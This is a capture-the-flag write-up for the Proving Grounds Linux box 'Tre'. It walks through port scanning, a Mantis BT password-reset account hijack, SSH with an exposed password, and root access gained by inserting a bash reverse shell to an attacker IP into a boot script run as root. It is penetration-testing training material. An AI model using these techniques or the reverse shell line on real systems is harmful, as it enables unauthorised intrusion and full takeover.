This is a write up for the box Tre on proving grounds which is a Linux based box rated as intermediate.
Enumeration: Port Scan
Starting off by running RustScan on the box to find out some open ports.
┌──(hhhharshil㉿kali)-[~/Desktop/tre]
└─$ rustscan -a 192.168.134.84 -- -sC -sV
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan
[~] The config file is expected to be at "/home/hhhharshil/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.134.84:22 Open 192.168.134.84:80
Open 192.168.134.84:8082
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p ")
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 99:1a:ea:d7:d7:b3:48:80:9f:88:82:2a:14:eb:5f:0e (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHMd6tbRI/GrqZQaWx7CAYYD22gD6KeVl/sZdKJTi7duDnBz3FqxHZBdk4mMTvupWZDLyB9/sGkb99ptqZ1TZNn+86sWvQTFR7vV+9PAQGIDs82Jta/NO9XORx3wkNVunxCaw9Iwf9AxlbY6Vc1Ot6ydEMUHo1Ha1G1i+9h5kh/7InJRF6HZgb0zmbV4n2lWWgye0dR5bLKjt/5QcKGFdv40fOIRv2/jWv/DWHJRCxRS8bS5LBfFXgdWRvu+sxeQbdzDXqCow2FeMcHQiNuuVpnrmnFAg7GdrA36srgnXO2ZXEGijFZehfnINkdUnqGMYY4kb03nDDZPO29Ami/zQP
| 256 f4:f6:9c:db:cf:d4:df:6a:91:0a:81:05:de:fa:8d:f8 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDp3d72lJQsYyph4NbauO2u1nMokOTYcPPWH193ps7xb1euNLKSjJp1OtEwuhzu3lvUGxEQU3ISm9uj2g1sr0lk=
| 256 ed:b9:a9:d7:2d:00:f8:1b:d3:99:d6:02:e5:ad:17:9f (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMuyBmHN7xrwj6KcGc2WT2NP0jIsGmRxMZkCBkr2SKrB
80/tcp open http syn-ack Apache httpd 2.4.38 ((Debian))
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Tre
8082/tcp open http syn-ack nginx 1.14.2
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.14.2
|_http-title: Tre
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
- 22 SSH
- 80 HTTP
- 8082 - HTTP
Enumeration: HTTP
┌──(hhhharshil㉿kali)-[~/Desktop/tre]
└─$ gobuster dir -u http://192.168.134.84 --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.134.84
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/12/30 15:01:33 Starting gobuster in directory enumeration mode
===============================================================
/system (Status: 401) [Size: 461]
/cms (Status: 301) [Size: 314] [--> http://192.168.134.84/cms/]
http://192.168.134.84/system/login_page.php
prompted to enter creds used “admin:admin”
We are can identify the site is running Mantis Bug Tracker aka Mantis BT. The default credentials did not work which were said to be administrator:root.
I used searchsploit to find some of the common exploits used although there isn’t a unauthenticated RCE we can however reset passwords.
Remote un-authenticated attackers can send HTTP GET requests to Hijack ANY Mantis accounts by guessing the ID / username.\
Typically the ID of 0 or 1 are used for the Admin user so I will attempt to visit the following page “192.168.134.84/system/verify.php?id=1&confirm_hash=”
We get some random username “XiBejMub” but this means the exploit is working so I just reset the password for this user and logged in.
After logging in and browsing through severeal tabs the users tab reveals some interesting information.
As shown below the user Tre put the real name value as “Tr3@123456A!” which appears to be password.
SSH: Foothold
I attempt to ssh as the user tre with the password “Tr3@123456A!”
┌──(hhhharshil㉿kali)-[~/Desktop/tre]
└─$ ssh tre@192.168.134.84
The authenticity of host '192.168.134.84 (192.168.134.84)' can't be established.
ECDSA key fingerprint is SHA256:wNJwlp5ha0nS3Mr1x6DPLtzNMMr/2egeef6B6N2hfsU.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.134.84' (ECDSA) to the list of known hosts.
tre@192.168.134.84's password:
Linux tre 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
tre@tre:~$
Priv Esc: Sudo Shutdown
tre@tre:~$ sudo -l
Matching Defaults entries for tre on tre:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User tre may run the following commands on tre:
(ALL) NOPASSWD: /sbin/shutdown
tre@tre:~$
We are able tor un the command shutdown as root. However this does not do us any good unless we have control over a binary that gets executed upon boot up.
After some digging around it was found that we have the ability to edit the following file which is also owned by root. “/usr/bin/check-system”
This file essentially gets executed on boot and states wehenver a particular service is started and checks it. I will add a bash one liner to the script.
/bin/bash -i >& /dev/tcp/192.168.49.134/8082 0>&1
After shutting down the sysetem with the command “sudo /sbin/shutdown -r now” we get root on our listener @ 8082
Breakdown
- Dirbusting revealed a system directory using default creds of admin admin
- Mantis BT contained a password reset vulnerablity
- User Tre had his password exposed to everyone as they mistakenly entered it under Real Name
- SSH as Tre
- Sudo -L Revealed Shutdown
- Enumeration revealed a binary tre had read/write access to owned by root.
- Edited binary with rev shell
- sudo reboot - now and got a shell